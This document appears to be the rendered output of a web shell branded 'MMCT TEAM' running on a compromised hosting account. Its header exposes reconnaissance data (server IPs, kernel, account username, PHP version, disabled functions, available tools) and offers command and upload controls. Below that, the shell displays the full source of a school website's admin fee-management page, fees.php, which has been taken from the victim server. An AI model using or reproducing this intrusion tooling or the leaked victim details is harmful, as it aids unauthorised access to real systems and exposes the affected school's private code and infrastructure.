MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/admin/fees.php
<html>
			<head>
				<?php include("../link/admin_headconnection.php");
				include("../link/databaseconnection.php");
				session_start();
			$lg=$_SESSION['admin'];
			if(!$lg)
			{
				header("location:../admin/index.php");
			}
				
				
				?>
				<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
				<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
				<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
				<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
				
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>


<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
					<style>
					
.work
{
	min-height:200px;
}
.gap
{
	height:100px;
}
					
					</style>
					

			<script>
			
			
			
			function editrow(id)
			{
			     //alert(id);
				$("#editmodel12").modal("show");
				$("#editbody12").load("../code/student_fees.php?flag=7&id="+id);
				
			}
			function feesrow(id)
			{
			     //alert(id);
				$("#editmodel12").modal("show");
				$("#editbody12").load("../code/student_detailscode.php?flag=9&id="+id);
				
			}
			
			//===message==//
			function messagerow(id)
			{
			     //alert(id);
				$("#editmodel12").modal("show");
				$("#editbody12").load("../code/student_detailscode.php?flag=7&id="+id);
				
			}
			$(document).ready(function(){
				
				$("#fees").submit(function(e){
					e.preventDefault();
					$.ajax({
						url:"../code/student_fees.php?flag=1",
						type:"POST",
						data: new FormData(this),
						contentType:false,
						processData:false,
						success:function(res){
							alert(res);
							$("#fees").trigger("reset");
							$("#show").load("../code/student_fees.php?flag=3");
						},
						error:function(){
							alert("error");
						}
					});
				});
				
			});
			//== message==///
			
		function deleterow(id)
			{
				//alert(id);
				var a=confirm("Are you Sure");
				if(a==true)
				{
				$.ajax({
					
					url:"../code/student_fees.php?flag=4",
					type:"POST",
					data:{rowid:id},
					
					success:function(res){
						alert(res);
						//$("#modal").html(res);
						$("#show").load("../code/student_fees.php?flag=3");
					},
					error:function(){
						alert("error");
					}
					
					
					
					
				});
				}
				
			}
			
			$(document).ready(function(){
				
				$("#show").load("../code/student_fees.php?flag=3");
			});
			function updaterow(form)
			{
				$.ajax({
					url:"../code/student_fees.php?flag=8",
					type:"POST",
					data:new FormData(form),
					
					contentType:false,    // for photo upload ke liye hai
					processData:false,    //for photo upload ke liye hai
					cache:false,
					success:function(res){
						alert(res);
						
						if(res=="Update")
						{
							
							$("#editmodel12").modal("hide");
							$("#show").load("../code/student_fees.php?flag=3");
						}
					},
					error:function(){
						alert("error");
					}
				});
				return false;
			}
			function result(id)
			{
				$("#editmodel").modal("show");
				$("#editbody").load("../code/student_detailscode.php?flag=5&id="+id);
				
			}
			
			function data(form)
			{
				
					$.ajax({
						url:"../code/student_detailscode.php?flag=6",
						type:"POST",
						data:new FormData(form),
						contentType:false,
						processData:false,
						success:function(res){
							alert(res);
							if(res=="ok")
							{
								$("#editmodel").modal("hide");
							}
						},
						error:function(){
							alert("error");
						}
					});
				
				return false;
			}
			
			
			function feesdata(form)
			{
				
					$.ajax({
						url:"../code/student_detailscode.php?flag=10",
						type:"POST",
						data:new FormData(form),
						contentType:false,
						processData:false,
						success:function(res){
							alert(res);
							
								$("#editmodel12").modal("hide");
								
							
						},
						error:function(){
							alert("error");
						}
					});
				
				return false;
			}
			</script>
			
	
			</head>
<body>
<div class="container-fluid">
		<div class="row">
			<?php include("../link/admin_dashboardmenu .php");?>
		</div>
		<div class="row">
		<div class="col-sm-2">
		<?php include("../link/fess.php");?>
		</div>
		<div class="col-sm-10">
		<!--menu--close-->
		<div class="panel-group">
				<div class="panel panel-primary">
				
				
				<div class="panel-body">
				<form class="form-horizontal" id="fees" >
				
				<div class="col-sm-8">
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Class</label>
				<div class="col-sm-3"><?php 
//echo $clas;
$sel="select * from subclass";
$res=mysqli_query($conn,$sel);
?><select class="form-control" name="class">
<?php while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
	?> <option><?php echo $row['subclass']; ?></option><?php
	
	}

?>

</select></div>
				<div class="form-group">
    <label  class="col-sm-3 control-label">Tution Fee-</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Enter Fee" name="fees" required>
    </div>
  </div>
  
    <label  class="col-sm-3 control-label">Registration Fee-</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Registration" name="reg" value='0'>
    </div>
   
  
 
    <label  class="col-sm-3 control-label">Miscellaneous Fee-</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Enter Other Fee" name="add" value='0' >
    <br/>
	</div>
  <label  class="col-sm-3 control-label">Annual Charge New-</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Annual Charge" name="ann"  value='0'>
    </div>
 <div class="form-group">
    <label  class="col-sm-3 control-label">Annual Charge Old-</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Diary" name="diary" value='0' >
    </div>
  </div>
  <div class="form-group">
    <label  class="col-sm-3 control-label">Tie+Belt</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Tie+Belt" name="tie" value='0'  readonly >
    </div>
  </div>
  <div class="form-group">
    <label  class="col-sm-3 control-label">Others</label>
    <div class="col-sm-3">
      <input type="number" class="form-control" placeholder="Others" name="other" value='0' readonly >
    </div>
  </div>
   <div class="form-group">
  <br/>
    <label  class="col-sm-3 control-label">Session <span style="color:red">*</span></label>
    <div class="col-sm-3">
	<?php 
	$selc="select * from session";
	$resc=mysqli_query($conn,$selc);
	?>
	<select class="form-control" style="font-weight:bold" id="select" name="session">
	
	  <option >--Select--</option>
	  <?php 
	  
	  while($rowc=mysqli_fetch_array($resc,MYSQLI_BOTH))
	  {
	  ?>
	  <option><?php echo $rowc['session'];?></option>
	  <?php
	  }
	  
	  ?>
	  </select>
	</div>
	</div>
    
				</div>
				<!------ phli finish row-->
				</div>
				<!------ dusri row-->
				<div class="col-sm-4">
				
				<div class="form-group">
    
  
  <div class="form-group">
    <label  class="col-sm-3 control-label">Computer Fee/Lab-</label>
    <div class="col-sm-8">
      <input type="number" class="form-control" placeholder="Computer Fee" name="comp" value='0'>
    </div>
  </div>
  
  
  
    <label  class="col-sm-3 control-label">Generator Fee-</label>
    <div class="col-sm-8">
      <input type="number" class="form-control" placeholder="Generator Fee" name="gen" value='0' readonly>
    <br/>
	</div>
	
				</div>
				
				<!------ dusari finish row-->
				
				
				<br/>
				
  
  
  
 
  
    
  
  
    
 
  
    
  
  <div class="form-group">
    
    <div class="col-sm-5">
      
	   <br/>
				<center><button class="btn btn-primary">Submit</button>
				
				</center>
				</div>
				</form>
	</div>
	</div>
	
	</div>
  <div id="show"></div>
</div>





		
		
		</div>
		</div>
		</div>
		<!-- modal for result-->
<div  class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel12">
<div class="modal-dialog modal-lg"> 
<div class="modal-content"> 
<div class="modal-heading"> 
<button class="close" data-dismiss="modal"> <span> &times; </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> UPDATE FEE</h2> </center>
</div>
<div class="modal-body" id="editbody12">


 </div>
<div class="modal-footer"> 



</div>


</div>
</div>


 </div>
		</body>
		</html>

MMCT - 2023